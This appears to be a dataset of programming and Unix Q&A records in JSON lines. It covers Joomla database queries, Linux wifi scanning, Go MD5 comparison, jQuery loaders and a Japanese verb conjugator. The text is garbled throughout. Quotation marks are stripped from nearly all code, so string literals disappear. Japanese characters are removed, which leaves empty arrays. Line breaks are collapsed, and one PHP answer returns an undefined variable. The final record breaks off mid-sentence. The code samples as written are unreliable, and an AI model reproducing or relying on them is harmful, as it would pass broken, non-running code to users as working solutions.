{  "id": "_codereview.171167"  , "question": "I am using Joomla and connecting to an MSSQL database to store the resulting set(s) in arrays. I am utilizing this syntax, but there must be a more efficient way of coding this.<?php    $option = array();    $option['driver'] = 'mssql';    $option['host'] = '555.555.55.5';    $option['user'] = 'username';    $option['password'] = 'password';    $option['database'] = 'database';    $option['prefix'] = '';    $db = JDatabaseDriver::getInstance($option);    $sql = $db->getQuery(true);    $sql = Select ranchstyle from information;    $db->setQuery($sql);    $rows = $db->loadRowList();    $output = array();    foreach ($rows as $row) {        array_push($output, $row);    }    $data = json_encode($output[0]);    $query2 = $db->getQuery(true);    $query2 = Select maestro from musicinfo;    $db->setQuery($query2);    $rows1 = $db->loadRowList();    $output1 = array();    foreach ($rows1 as $r) {        array_push($output1, $r);    }    $data1 = json_encode($output1[0]);?>"  , "title": "Populate two arrays with two different SQL queries"  , "tags": "performance;php;php5"  , "accepted_answer": "There are two possible answers to this question, a generalized one and a specific one.To help with such questions in general, there is one programming concept which is often underestimated by PHP users. It is called user-defined functionsIn a nutshell, you can write a code once and then use it any number of times.function getArrayFromSql($db, $sql){    $db->setQuery($sql);    $rows = $db->loadRowList();    $output = array();    foreach ($rows as $row) {        array_push($output, $row);    }    return $data;}Here you created a function which you can use any number of times:$sql = Select ranchstyle from information;$output = getArrayFromSql($db, $sql);$data = json_encode($output[0]);$sql = Select maestro from musicinfo;$output = getArrayFromSql($db, $sql);$data1 = json_encode($output[0]);Whereas for the specific answer we need to review your code more closely. It does unnecessary job all the time.First, you are making a useless call to $db->getQuery(true);, as with the very next step the $sql variable gets overwritten.Second, you actually have an array already, as $db->loadRowList(); gives you a first class array. But for some reason you are duplicating it into $data. So your code actually should be$sql = Select ranchstyle from information;$db->setQuery($sql);$rows = $db->loadRowList();$data = json_encode($rows[0]);$sql = Select maestro from musicinfo;$db->setQuery($sql);$rows = $db->loadRowList();$data1 = json_encode($rows[0]);Third, given you are encoding only the first item of the array, you seems don't need an array at all, so select and fetch one line only. $sql = Select ranchstyle from information limit 1;$db->setQuery($sql);$row = $db->loadRow();$data = json_encode($row);$sql = Select maestro from musicinfo limit 1;$db->setQuery($sql);$row = $db->loadRow();$data1 = json_encode($row);"  } 
{  "id": "_datascience.6530"  , "question": "I would like to right an algorithm to convert unstructured texts (with contests descriptions) to structured data with the following fields:contest start date (optional)contest end datemain prizeadditional prizes (optional)I have hundreds of text examples, which could be used for model learning. How to approach this task? Just in case this is important - the preferable language is Python. But I never worked on such tasks before. "  , "title": "How to convert unstructured texts to structured data?"  , "tags": "machine learning;python"  } 
{  "id": "_unix.237287"  , "question": "How do I find out the default permissions for a newly created text file? I've tried    ls -l filename.txtbut it keeps saying it cannot access the txt file, so im pretty sure I'm doing it wrong and I've gone over notes/googled but I cant find out how to look at its default permissions... any help would be appreciated"  , "title": "Default text file permissions?"  , "tags": "permissions;text"  } 
{  "id": "_unix.45462"  , "question": "I would like to get a list of all the wireless networks.iwlist wlan0 scan | grep ESSIDThis will only show me the wireless network I am currently connected to. When I run the command as root, it shows me all the available networks. If I run the command without sudo quickly after this, all the networks will show up, but after a while they are all gone except the network I am currently connected to.Is there a way to get all the available networks when I am not root?"  , "title": "How to get list of available wireless networks without being root"  , "tags": "linux;wifi;not root user"  , "accepted_answer": "You could (or do?) probably use wpa_supplicant; using its ctrl_interface configuration key, you can allow non-root users (e.g. those with group wheel) access via wpa_cli (i.e. /sbin/wpa_cli scan_results [1])# allow frontend (e.g., wpa_cli) to be used by all users in 'wheel' groupctrl_interface=DIR=/var/run/wpa_supplicant GROUP=wheelThere's also a command-line switch to wpa_suppliant,-u     Enabled  DBus  control  interface. If enabled, interface defini       tions may be omitted.giving you a DBus interface and thus another possibility for non-root access (I think NetworkManager uses this interface).[1] Once connected, this only shows the wireless LAN you are connected to...I don't know if this is any different with NetworkManager."  } 
{  "id": "_cstheory.21529"  , "question": "The halting problem for Turing machines is perhaps the canonical undecidable  set. Nevertheless, we prove that there is an algorithm deciding almost  all instances of it. The halting problem is therefore among the growing collection  of those exhibiting the black hole phenomenon of complexity theory,  by which the difficulty of an unfeasible or undecidable problem is confined  to a very small region, a black hole, outside of which the problem is easy.  [Joel David Hamkins and Alexei Miasnikov, The halting problem is decidable on a set of asymptotic probability one, 2005]Can anyone provide references to other black holes in complexity theory, or another place where this or related concepts are discussed?"  , "title": "Problems with efficient solution except for a small fraction of inputs"  , "tags": "cc.complexity theory;reference request;computability;undecidability"  , "accepted_answer": "I'm not sure whether this is what you're looking, but the phase transition in random SAT is an example. Let $\\rho$ be the ratio of number of clauses to number of variables. Then a random SAT instance with parameter $\\rho$ is very likely to be satisfiable if $\\rho$ is less than a fixed constant (near 4.2) and is very likely to be unsatisfiable if $\\rho$ is a little bit more than this constant. The black hole is the phase transition. "  } 
{  "id": "_codereview.171505"  , "question": "How can I optimize my code to retrieve the data faster? I'm currently using nested foreach loops to ping API on 2 levels (for each KPI -> for each municipality).API holds KPI data for each municipality in Sweden. Because the API is built with limitation of 5000 response limit per request i have to use iteration to ping the api. The API holds KPIs for municipalities in Sweden. There are some 2000-3000 KPIs and for each KPI there are 290 municipalities and each municipality holds data for 1 or several years for that KPI.Link to API documentation: https://github.com/Hypergene/koladaPackages I need to use:httr \\$\\rightarrow\\$ get the data from the APIjsonlite \\$\\rightarrow\\$ converting JSON to dataframesforeach \\$\\rightarrow\\$ foreach loopssnow \\$\\rightarrow\\$ running foreach loops as parallelSome set up:url \\$\\leftarrow\\$ http://api.kolada.sepath \\$\\leftarrow\\$ (/v2/municipality?title) # path metadata municipality look up table.path2 \\$\\leftarrow\\$ (/v2/kpi) #path metadata KPI lookup tableFunction to ping the API with input KPI id and municipality id:API_get <- function(kpi,municipality){as.data.frame(fromJSON(  content(    GET(url = url,         path = str_c(/v2/data/kpi/,kpi,/municipality/,municipality)),text))) %>%  unnest() %>%  select(kpi_id = values.kpi,         municipality_id = values.municipality,         period = values.period,         gender,         status,         value) %>%  type_convert()}Alternative function that tries to simplify the function to speed up the process:API_get2 <- function(kpi,municipality){as.data.frame(fromJSON(  content(    GET(url = url,         path = str_c(/v2/data/kpi/,kpi,/municipality/,municipality)),text))) %>%  unnest()}The speed difference between API_get2 runs 1-1, 5 secs faster than API_get on 1 KPI and all of the 290 municipalities.Here is the nested foreach loop that I run:system.time(foreach(k = SKL_kpi_has_no_gender$kpi_id[1:1],        .combine = rbind,        .packages = c(tidyverse,jsonlite,httr,stringr)) %:%         foreach(m = as.character(SKL_municipality$municipality_id[1:290]),        .combine = rbind,        .packages = c(tidyverse,jsonlite,httr)) %dopar% API_get2(k,m) )   user  system elapsed   0.20    0.03    3.17I have tried running the mapply function as the function i created has two inputs but it seem to be slower. It runs on one of my CPU cores so maybe that is why the foreach has a speed advantage. I am more wondering if there is a way to make the speed non-linear with the increase in KPIs that is iterated over."  , "title": "Nested for each loop (parallell) API call to work around API response 5000 row limitation"  , "tags": "r"  } 
{  "id": "_webapps.22596"  , "question": "Does anyone know if the complete list of skills used in LinkedIn.com can be exported, or downloaded?I'm building a volunteer website and this would be handy to have."  , "title": "Complete list of Linkedin Skills"  , "tags": "linkedin"  } 
{  "id": "_cs.40200"  , "question": "I am learning about neural networks and have a couple of things I don't understand.Firstly, in competitive learning I understand that only the neuron with the strongest output is reinforced. That is done in a manners imilar to:wi*j = I(j)*h(i)Where w* indicates the 'winning' neuron, j indicates the input we are considering, I(j) is the value of such input and h(i) is the sum of all weighted inputs. This is repeated for each connection leading to the winning neuron.My question is... Why? Why not simply, for example, increase the connection by an arbitrary amount? Or by another function? I have done quite some research, but still can't make sense of this.Thanks!"  , "title": "Updating connections weights in neural networks"  , "tags": "artificial intelligence;neural networks"  } 
{  "id": "_codereview.109942"  , "question": "In learning golang, I wrote a small CLI utility that will take paths as arguments and list out their md5 hash as hex strings. Included are two flags that alter functionality, --check | -c which takes an additional file, hashes both, and returns whether or not they match (and exits with the proper return code), and --text | -t that takes the path to a text file that is presumed to have exactly the contents of the hexified MD5 sum and checks it (as above).The repository is here and code is below:package mainimport (    bytes    crypto/md5    flag    fmt    io/ioutil    log    os    strings)var checkSum, textFile string// build Flagsfunc init() {    const (        checkSumDefault =         checkSumUsage   = File to check against        textFileDefault =         textFileUsage   = File that has the md5 hash as its only content    )    flag.StringVar(&checkSum, check, checkSumDefault, checkSumUsage)    flag.StringVar(&checkSum, c, checkSumDefault, checkSumUsage)    flag.StringVar(&textFile, text, textFileDefault, textFileUsage)    flag.StringVar(&textFile, t, textFileDefault, textFileUsage)}func makeHash(fname string) [16]byte {    data, err := ioutil.ReadFile(fname)    if err != nil {        panic(fmt.Sprintf(Failed to read file %s, fname))    }    return md5.Sum(data)}func main() {    flag.Parse()    var result int    if checkSum !=  {        // check mode -- against file        checkSumHash := makeHash(checkSum)        argHash := makeHash(flag.Arg(0))        if checkSumHash == argHash {            fmt.Print(They match!)            result = 0        } else {            fmt.Print(No match)            result = 1        }    } else if textFile !=  {        // check mode -- against text        checkSum, err := ioutil.ReadFile(textFile)        if err != nil {            log.Println(err)            log.Fatalf(Can't read text file %s, textFile)        }        checkSum = bytes.TrimSpace(checkSum)        argHash := makeHash(flag.Arg(0))        if strings.EqualFold(fmt.Sprintf(%x, argHash), string(checkSum)) {            fmt.Print(They match!)            result = 0        } else {            fmt.Print(No match)            result = 1        }    } else {        // print mode        for _, fname := range flag.Args() {            hash := makeHash(fname)            fmt.Printf(%x\\n, hash)        }        result = 0    }    os.Exit(result)}I feel like I should refactor out the different functions and have each one return its success code. That's something I'll do when I have a little time free to poke at it.The biggest question, however, is the best way to compare the [16]byte argHash to the []byte checkSum if --text is specified. Currently I'm using bytes.TrimSpace, casting to string,  and comparing that with Sprintf(%x, argHash). Is there a better way? Seems silly to convert both to string rather than comparing bytes, but I don't know a better way to do it."  , "title": "Comparing md5.Sum to text from file"  , "tags": "go"  , "accepted_answer": "To clearly state our problem/task: We want to compare 2 checksums, one supplied as a text being the hexadecimal representation, and the other being an array of the raw bytes.2 forms exist: a hexadecimal representation and raw bytes. To compare them, we need the same representation. So 2 possible paths:1. Convert the second to hex representationLet's see your proposed solution. If we want to handle leading/trailing spaces, and if the text input may contain lowercased and uppercased hex digits, your solution is as simple as it can be.A variation may be to convert the text to lowercased, and then we can simply compare strings without strings.EqualFold(). The lowercase conversion can be done by calling strings.ToLower() or since we already have the input as []byte, by bytes.ToLower():checkSum = bytes.ToLower(bytes.TrimSpace(checkSum))argHash := makeHash(flag.Arg(0))if fmt.Sprintf(%x, argHash) == string(checkSum) {    // They match} else {    // They don't match}2. Convert the first to raw bytesCompare slices ([]byte)We may choose to convert the text checksum back to a []byte which holds the raw bytes of the checksum (NOT the bytes of the UTF-8 encoded hex representation).We can parse the hex representation simply with hex.DecodeString(). Or even better: since we have the text checksum as a []byte, we can use hex.Decode() which takes input as a []byte.As an extra gain, we don't even have to care about lower or upper case: hex.Decode() handles that for us.And we can convert [16]byte to []byte by simply slicing it. Once we have 2 []byte, we can use bytes.Equal() to compare them (in Go slices are not comparable unlike arrays).checkSum = bytes.TrimSpace(checkSum)dst := make([]byte, 16)if _, err := hex.Decode(dst, checkSum); err != nil {    // Invalid input, not hex string or not 16 bytes!} else {    argHash := makeHash(flag.Arg(0))    if bytes.Equal(argHash[:], dst) {        // They match    } else {        // They don't match    }}Compare arrays ([16]byte)As a variation of the previous solution, we will use arrays to do the comparison as arrays are comparable.Since makeHash() already returns an array [16]byte, we only need to get the raw bytes of the text checksum into an array. The simplest and fastest is to create an array [16]byte, and pass such a slice to hex.Decode() that shares its backing array with our new array. We can obtain such a slice by simply slicing the array:checkSum = bytes.TrimSpace(checkSum)dst := [16]byte{}if _, err := hex.Decode(dst[:], checkSum); err != nil {    // Invalid input, not hex string or not 16 bytes!} else {    if makeHash(flag.Arg(0)) == dst) {        // They match    } else {        // They don't match    }}Compare manually (byte-by-byte)We can also do the comparison manually, it's relatively easy and straightforward.But first to do it manually, let's create a simple helper function which tells if a hex digit (the text representation) equals to the raw data:func match(hex, raw byte) bool {    if raw < 10 {        return hex-'0' == raw    }    return hex-'a'+10 == raw || hex-'A'+10 == raw}And with this the solution:checkSum = bytes.TrimSpace(checkSum)argHash := makeHash(flag.Arg(0))if len(checkSum) != 2*len(argHash) {    // Quick check: length differ, they don't match!} else {    equal := true    for i, v := range argHash {        if !match(checkSum[i*2], v >> 4) || !match(checkSum[i*2+1], v & 0x0f) {            equal = false            break        }    }    // Now the variable equal tells if they are equal}"  } 
{  "id": "_unix.203138"  , "question": "I use iwconfig to show me some information about my current internet connection like this$ iwconfigwlp2s0    IEEE 802.11abg  ESSID:eduroam            Mode:Managed  Frequency:2.462 GHz  Access Point: 06:0B:6B:2E:A7:80             Bit Rate=6 Mb/s   Tx-Power=22 dBm             Retry short limit:7   RTS thr:off   Fragment thr:off          Power Management:off          Link Quality=42/70  Signal level=-68 dBm            Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0          Tx excessive retries:0  Invalid misc:19522   Missed beacon:0lo        no wireless extensions.In the past these information were updated each time I ran the command. Lately, the information remain the same from the beginning of the connection. The same applies to what I get via cat /proc/net/wireless. What may be the reason for this and how can I fix it?"  , "title": "What are possible reasons why iwconfig is not updating connection stats?"  , "tags": "networking;wifi;proc"  , "accepted_answer": "The answer was given by an update of the arch linux kernel to 4.1.2. Now it works again, thus it must have been something to do with the kernel version."  } 
{  "id": "_unix.105994"  , "question": "I know how to make a heart with this sequence: composeKey, <, 3But how do you make a star ?"  , "title": "How do you make a star symbol with the compose key in Linux?"  , "tags": "x11;compose key"  , "accepted_answer": "Take a look at your .XCompose file in your home directory.  You probably have a line like:<Multi_key> <asterisk> <asterisk>        : U2605 # BLACK STARIf not, add that line, and you should be good to go with <Compose> * *"  } 
{  "id": "_unix.329665"  , "question": "This error occurs when trying to run multiple instances of an exe program running through wine: X Error of failed request:  BadWindow (invalid Window parameter)Major opcode of failed request:  10 (X_UnmapWindow)Resource id in failed request:  0x400001Serial number of failed request:  114Current serial number in output stream:  114I think X11 might be causing this error, but I don't know how to fix it."  , "title": "X Error of failed request - headless machine"  , "tags": "x11;wine;window;headless"  } 
{  "id": "_unix.275354"  , "question": "I have setup my SMTP server (on a Linux/Ubuntu 15.04 VPS rented at OVH) according to http://www.binarytides.com/install-postfix-dovecot-debian/ (so there is no traditional user on the box; hence it looks like a naive installation of procmail is not relevant)Any clues about adding some spam filter using free software only (with an ideological preference for GPLv3+ or LGPLv3+ ones)?Some additional wishes:I would like a possible web interface (to unblock some emails filtered as spam) but I profoundly dislike PHP.  My web server is nginx.I probably am interested in also using spamoracle (or some Bayesian machine learning filter).I am willing to code a tiny thing which could help.I'm a bit afraid to do wrong. It is an active server for my family MX domain @starynkevitch.net and I am getting all my personal emails there, and it is also used by my family (about a dozen persons)."  , "title": "postfix&dovecot -- adding some spam filter"  , "tags": "postfix;dovecot"  } 
{  "id": "_codereview.55892"  , "question": "I'm trying to calculate what time a certain time in a time zone is today, so I can schedule something to happen at that time in that time zone. I've got a table with what I have termed the Nominal Time, which is stored as a datetimeoffset with an arbitrary date, as the only parts I care about is the time and the time zone offset. So, the Nominal Time column has values along the lines of:2014-07-01 10:00:00.0000000 +02:002014-07-01 10:00:00.0000000 -05:002014-07-01 10:00:00.0000000 -07:002014-07-01 10:00:00.0000000 +01:00(In this case 10am is my time I want to schedule this events). From this, I want to get that time today, so these would become:2014-07-02 10:00:00.0000000 +02:002014-07-02 10:00:00.0000000 -05:002014-07-02 10:00:00.0000000 -07:002014-07-02 10:00:00.0000000 +01:00when run at the date of this writing (2014-07-02). I currently have SQL that does this, but I don't really like it:With    NominalTimes as (select Id, NominalTime, SYSDATETIMEOFFSET() Now                         from FaxQueue where status=0),        CalcTimes as (select Id, NominalTime, Now, DATEPART(year,Now) NomYear,                        DATEPART(month,Now) NomMonth,DATEPART(day,Now) NomDay,                        DATEPART(hour,NominalTime) NomHour,DATEPART(minute,NominalTime) NomMinute,                        DATEPART(tzoffset,NominalTime) NomOffset from NominalTimes)select Id, NominalTime, Now,     DATETIMEOFFSETFROMPARTS(Nomyear,NomMonth,NomDay,NomHour,NomMinute,0,0,NomOffset/60,NomOffset%60,0)     from CalcTimes(Excuse the excessive CTEs; I'm trying to build this up bit by bit.) The end goal of this is to have a query that returns a list of rows where the nominal time happens within the next, say, hour (actual window size isn't important). I will also note that from the function of the program, I do not need to worry about a time straddling a daylight saving time transition (the program is meant to run before DST happens in a time zone, and deliver a notification).Is there a better way of doing these date calculations in SQL, or is this really about as good as it's going to get?"  , "title": "Calculating a time in a time zone from multiple dates in SQL"  , "tags": "sql;datetime;sql server;t sql"  , "accepted_answer": "First, let me restate your problem, to make sure I understand it correctly.  You want to take the NominalTime column, which is of type datetimeoffset, and replace the date part with today's date, where today is defined according to the timezone in which the SQL Server is running.  The time and timezone offset will remain unchanged, even across DST boundaries.To roll one field of a datetime-like object forward or backward, use the DATEADD() function:SELECT Id     , NominalTime     , SYSDATETIMEOFFSET() AS Now     , DATEADD(day, DATEDIFF(day, NominalTime, SYSDATETIMEOFFSET()), NominalTime)    FROM FaxQueue    WHERE status = 0;SQL Fiddle demonstration"  } 
{  "id": "_webapps.4644"  , "question": "I'm wondering if anyone knows of a Greasemonkey script or something for Firefox which will either filter, or indicate my notifications in Facebook such that I can either: See only notifications for items on which I have actually commented (as opposed to those I have simply 'liked')  Highlight notifications for items on which I have actually commented so I can distinguish them from ones I have merely 'liked'After a quick search in GM, I see ones to color code matching notifications for the same post, but I'd like to either filter out or dim out notifications for posts on which I haven't actually commented.Other solutions besides Greasemonkey are also welcome."  , "title": "Filter Facebook notifications?"  , "tags": "facebook;facebook notifications"  , "accepted_answer": "This issue has actually been taken care of, now that FB groups notifications by post."  } 
{  "id": "_reverseengineering.11073"  , "question": "I just came across the MyNav Python scripts and would like to use some of their functionality on my IDA Pro database. I have IdaPython installed properly, but I cannot seem to get the plugins to show up in the menu. I have gone to File > script and run MyNav.py, but all that happens is the myexport.pyc and mybrowser.pyc files get generated where I have the source files.I tried copying those into the plugins directory and restarting, but nothing shows up. The install documentation on the google code page is non-existent. Has anyone had any success installing this plugin package? I am using Python 2.7 with IdaPython 1.5.2, but have also tried with Python 2.6"  , "title": "Using MyNav Python Scripts With IDA Pro 6.1 On Windows 7"  , "tags": "ida;idapython;idapro plugins"  } 
{  "id": "_codereview.45717"  , "question": "I'm not much of a jQuery coder (more of a PHP coder), except to call a few get values out of class and id and Ajax calls.  However, I need to make a checkout system work and one thing I would like to do is to put a loading wait while I send a form through Ajax.  When it's finished, it would redirect the user.So on click:load the loading spinnerfade the background outAjax callwhen Ajax is done submitting a form which indirectly redirects.Here is my code, following why I don't like it:jQuery.fn.center = function () {            this.css(position,absolute);            this.css(top, ( $(window).height() - this.height() ) / 2+$(window).scrollTop() + px);            this.css(left, ( $(window).width() - this.width() ) / 2+$(window).scrollLeft() + px);            return this;        }        $( .buttonFinish ).on('click', function(event) {            $('body').fadeOut('slow');            $('#loader').center();            $('#loading').center();            $('#loader').show();            $('#loading').show();            //Use the above function as:            var request = $.ajax({                url:'{{ URL::route('saveCart') }}',                type:'POST'                });                request.done(function(msg) {                    $('.order_number').val(msg);                      $('#summaryForm').submit();                      event.preventDefault();                });            return false;        });Let's get a few questions out of the way: {{UR::route('')}} is laravel syntax to call the routing name for URL. loader/loading are two div that I have for the spinner one is text the other is an animation through CSS. (I'd rather CSS it than to load a pix, but I am aware that loader.gif can be small)My issue (and feeling) that this can be better. I am using CSS with display:none to hide my two div, and then I call fadeOut, show, show, and center center function to center my loading Ajax in order to center things. Is there a compact way to achieve all the 4 steps needed in a clean way? "  , "title": "Fading and Loader jQuery Improvement"  , "tags": "javascript;jquery;html;css"  , "accepted_answer": "Let's go through it one section at a time.jQuery.fn.center = function () {            this.css(position,absolute);            this.css(top, ( $(window).height() - this.height() ) / 2+$(window).scrollTop() + px);            this.css(left, ( $(window).width() - this.width() ) / 2+$(window).scrollLeft() + px);            return this;        }You don't have to explicitly append 'px' to your numeric values. jQuery is smart enough to correctly format your CSS styles.Since this is a jQuery plugin, you return this; at the end of the function. This is good, asit preserves chaining.If the .center function is only used for the loading divs, consider removing it and insteadstyling the divs with plain CSS.#loader {    position: fixed;    top: 50%;    left: 50%;    margin-top: -50px; /* half of the height */    margin-left: -100px; /* half of the width */}...$( .buttonFinish ).on('click', function(event) {    $('body').fadeOut('slow');    $('#loader').center();    $('#loading').center();    $('#loader').show();    $('#loading').show();As mentioned by @Flambino, this particular code (as presented in the question) will fade out the entire body of the HTML document, which includes everything, even the loader elements. Perhaps the code that you're actually using is slightly different (is the selector .body or #body instead?).It's best practice to enclose JavaScript that uses external dependencies inside an IIFE.By doing so, you can use the safe name of an external dependency while still being able toalias is to a more convenient identifier locally. In addition, you can freely create variables inside the scopeof the IIFE without polluting the global namespace. Your example code is fairly short, but you likely have muchmore code on the page, and it is a good habit to have regardless. Here's one way to do it:(function($) {    $( .buttonFinish ).on('click', function(event) {        ...    });})(jQuery);You can select both elements at the same time, just like in CSS: $('#loader, #loading').You can chain the .show() and .center() together: $('...').show().center().    //Use the above function as:    var request = $.ajax({        url:'{{ URL::route('saveCart') }}',        type:'POST'        });        request.done(function(msg) {            $('.order_number').val(msg);              $('#summaryForm').submit();              event.preventDefault();        });    return false;});Since you're not using the request variable for anything other than .done(),you can skip declaring it and simply chain .done() after $.ajax():$.ajax({    ...}).done(function(msg) {    ...});As an overall note, the indentation of the code (as it is in the question) seems haphazard,making the control flow more difficult to see than it could be. Making matchingbraces have the same indentation (and, in general, maintaining a consistent style)will help make the code more readable and understandable."  } 
{  "id": "_codereview.61221"  , "question": "For my first use of javascript I've made an app that takes an input verb from html in Japanese and outputs it in to many conjugated (manipulated) forms. Essentially, it defines an alphabet, some initial arrays and functions for use, a function to initially check for values and interact with the html page, an object to pass different verb values to, and then a whole slew of self invoking functions that essentially take the verb and pass it to the object, and then another function to interact with the page.Right now I'm at a loss on how to rewrite it in modular JS. I have a couple libraries defined in the HTML (bootstrap, jQuery, and a Japanese IME). Although I'm using self-invoking functions and have a general idea of what modules are, I have no idea what a practical way of splitting up the code in to modules would be.$(document).ready(function () {    //hiragana table    var hiragana = {        a: [, , , , , , , , , , , , , , ],        i: [, , , , , , ,  , ,  , , , , , ],        u: [, , , , , , , , ,  , , , , , ],        e: [, , , , , , ,  , ,  , , , , , ],        o: [, , , , , , , , , , , , , , ],        teOne: [, , ],        teTwo: [, , ],        change: function (input, initVowel, desiredVowel) {            var x = hiragana[initVowel].indexOf(input);            return hiragana[desiredVowel][x];        }    };    var groupOneExceptions = [, , , , , , , ];    var groupThree = [, ];    var existence = [[, ], []];    //check if in array    function isInArray(array, search) {        return array.indexOf(search) >= 0;    }    //add input to the page    function printPage(id, value) {        $(# + id).replaceWith(<div id =  + id + > + value + </span>);    }    //bind input to wanakana on page load    var input = document.getElementById(input);    wanakana.bind(input);    //check radio buttons and enact changes on enter form    $(input:radio[name=input-method]).change(function () {        if ($(this).val() === Hiragana) {            //wanakana support            wanakana.bind(input);            $(#input).attr(placeholder, );        }        if ($(this).val() === Romaji) {            wanakana.unbind(input);            $(#input).attr(placeholder, taberu);        }    });    //Click the button to get the form value.    $(#submit).click(function () {        var verb = {            //put an if check here for masu? LATER            group: ,            u: $(#input).val(),            end: ,            endTwo: ,            withoutEnd: ,            i: ,            te: ,            preMasu: ,            masu: ,            ta: ,            taEnd: ,            nakatta: ,            mashita: ,            masendeshita: ,            teEnd: ,            nai: ,            naiEnd: ,            masen: ,            ou: ,            ouEnd: ,            naidarou: ,            eba: ,            ebaEnd: ,            nakereba: ,            eru: ,            eruEnd: ,            erunai: ,            seru: ,            serunai: ,            reru: ,            rerunai:         };        var init = (function () {            printPage(callout, );            //clear table            for (prop in verb) {                if (typeof verb[prop] === string) {                    printPage(prop, );                }            }            //init verb.u for hiragana processing            if (wanakana.isKana(verb.u) === false) {                verb.u = wanakana.toHiragana(verb.u);            }            //do some initial slicing            verb.end = verb.u.slice(-1);            verb.endTwo = verb.u.slice(-2, -1);            verb.withoutEnd = verb.u.slice(0, -1);            if (isInArray(hiragana.u, verb.end) === false) {                printPage(callout, <div class=\\bs-callout bs-callout-danger\\> It doesn't look like  + verb.u +  is a valid Japanese verb in plain form. Try something that ends with an \\u\\.</div>);            }            if (isInArray(existence[0], verb.u)) {                printPage(callout, <div class=\\bs-callout bs-callout-info\\> If you were referring to the existence construct  + verb.u +  (to be), refer here.</div>);            } else if (isInArray(existence[1], verb.u)) {                printPage(callout, <div class=\\bs-callout bs-callout-info\\> If you were referring to the existence construct  + verb.u +  (is), refer here.</div>);            }        })();        if (isInArray(hiragana.u, verb.end)) {            verb.getGroup = (function () {                if (isInArray(groupThree, verb.u)) {                    verb.group = 3;                } else if (verb.end ===  && (isInArray(hiragana.i, verb.endTwo) || isInArray(hiragana.e, verb.endTwo))) {                    verb.group = 2;                } else if (isInArray(hiragana.u, verb.end)) {                    verb.group = 1;                }                if (isInArray(groupOneExceptions, verb.u)) {                    verb.group = 1;                }            })();            verb.getI = (function () {                if (verb.group === 1) {                    verb.preMasu = hiragana.change(verb.end, u, i);                    verb.i = verb.u.slice(0, -1) + verb.preMasu;                }                if (verb.group === 2) {                    verb.i = verb.u.slice(0, -1);                }                if (verb.group === 3) {                    verb.i = hiragana.change(verb.withoutEnd, u, i);                }            })();            verb.getTe = (function () {                if (verb.group === 3 || verb.group === 2) {                    verb.te = verb.i + ;                }                if (verb.group === 1) {                    if (isInArray(hiragana.teOne, verb.preMasu)) {                        verb.teEnd = ;                    } else if (isInArray(hiragana.teTwo, verb.preMasu)) {                        verb.teEnd = ;                    } else if (verb.preMasu === ) {                        verb.teEnd = ;                    } else if (verb.preMasu === ) {                        verb.teEnd = ;                    } else if (verb.preMasu === ) {                        verb.teEnd = ;                    }                    //exception                    if (verb.u === ) {                        verb.teEnd = ;                    }                    verb.te = verb.withoutEnd + verb.teEnd;                }            })();            verb.getNai = (function () {                if (verb.group === 3) {                    if (verb.u === ) {                        verb.nai = ;                    }                    if (verb.u === ) {                        verb.nai = ;                    }                }                if (verb.group === 2) {                    verb.nai = verb.i + ;                }                if (verb.group === 1) {                    if (verb.preMasu === ) {                        verb.naiEnd = ;                    } else {                        verb.naiEnd = hiragana.change(verb.preMasu, i, a) + ;                    }                    verb.nai = verb.withoutEnd + verb.naiEnd;                    if (verb.u === ) {                        verb.nai = ;                    }                }            })();            verb.getMasu = (function () {                verb.masu = verb.i + ;            })();            verb.getMasen = (function () {                verb.masen = verb.i + ;            })();            verb.getTa = (function () {                if (verb.group === 3 || verb.group === 2) {                    verb.ta = verb.i + ;                }                if (verb.group === 1) {                    verb.taEnd = verb.teEnd.slice(0, -1) + hiragana.change(verb.teEnd.slice(-1), e, a);                    verb.ta = verb.withoutEnd + verb.taEnd;                }            })();            verb.getNakatta = (function () {                verb.nakatta = verb.nai.slice(0, -1) + ;            })();            verb.getMashita = (function () {                verb.mashita = verb.i + ;            })();            verb.getMasendeshita = (function () {                verb.masendeshita = verb.masen +  ;            })();            verb.getOu = (function () {                if (verb.group === 3) {                    verb.ou = verb.nai.slice(0, -2) + ;                }                if (verb.group === 2) {                    verb.ou = verb.i + ;                }                if (verb.group === 1) {                    verb.ouEnd = hiragana.change(verb.preMasu, i, o) + ;                    verb.ou = verb.withoutEnd + verb.ouEnd;                }            })();            verb.getNaidarou = (function () {                verb.naidarou = verb.nai +  ;            })();            verb.getEba = (function () {                if (verb.group === 3) {                    verb.eba = verb.withoutEnd + ;                }                if (verb.group === 2) {                    verb.eba = verb.i + ;                }                if (verb.group === 1) {                    verb.ebaEnd = hiragana.change(verb.preMasu, i, e) + ;                    verb.eba = verb.withoutEnd + verb.ebaEnd;                }            })();            verb.getNakereba = (function () {                verb.nakereba = verb.nai.slice(0, -1) + ;            })();            verb.getEru = (function () {                if (verb.group === 3) {                    if (verb.u === ) {                        verb.eru = ;                    }                    if (verb.u === ) {                        verb.eru = ;                    }                }                if (verb.group === 2) {                    verb.eru = verb.withoutEnd + ;                }                if (verb.group === 1) {                    verb.eruEnd = hiragana.change(verb.preMasu, i, e) + ;                    verb.eru = verb.withoutEnd + verb.eruEnd;                }            })();            verb.getErunai = (function () {                verb.erunai = verb.eru.slice(0, -1) + ;            })();            verb.getReru = (function () {                if (verb.group === 3) {                    if (verb.u === ) {                        verb.reru = ;                    }                    if (verb.u === ) {                        verb.reru = ;                    }                }                if (verb.group === 2) {                    verb.reru = verb.eru;                }                if (verb.group === 1) {                    verb.reru = verb.nai.slice(0, -2) + ;                }            })();            verb.getRerunai = (function () {                verb.rerunai = verb.reru.slice(0, -1) + ;            })();            verb.getSeru = (function () {                if (verb.group === 3) {                    if (verb.u === ) {                        verb.seru = ;                    }                    if (verb.u === ) {                        verb.seru = ;                    }                }                if (verb.group === 2) {                    verb.seru = verb.withoutEnd + ;                }                if (verb.group === 1) {                    verb.seru = verb.nai.slice(0, -2) + ;                }            })();            verb.getserunai = (function () {                verb.serunai = verb.seru.slice(0, -1) + ;            })();            verb.process = (function () {                var prop = ;                //goes through verb object, checks for romaji, prints page                for (prop in verb) {                    if (typeof verb[prop] === string) {                        if (wanakana.isKana($(#input).val()) === false) {                            verb[prop] = wanakana.toRomaji(verb[prop]);                        }                        printPage(prop, verb[prop]);                    } //string                } //for in            })();        }    });});"  , "title": "Correctly rewriting Japanese verb conjugator in modular JS"  , "tags": "javascript;jquery;require.js"  , "accepted_answer": "Comments such as //check if in array before a function called isInArray and //hiragana table are completely pointless. It would be more important to describe what you are actually doing for everyone who doesn't know Japanese.$(# + id).replaceWith(<div id =  + id + > + value + </span>);: Besides the mismatching tags, this looks like a very bad way to output something.document.getElementById(input);: Don't hard code IDs. The 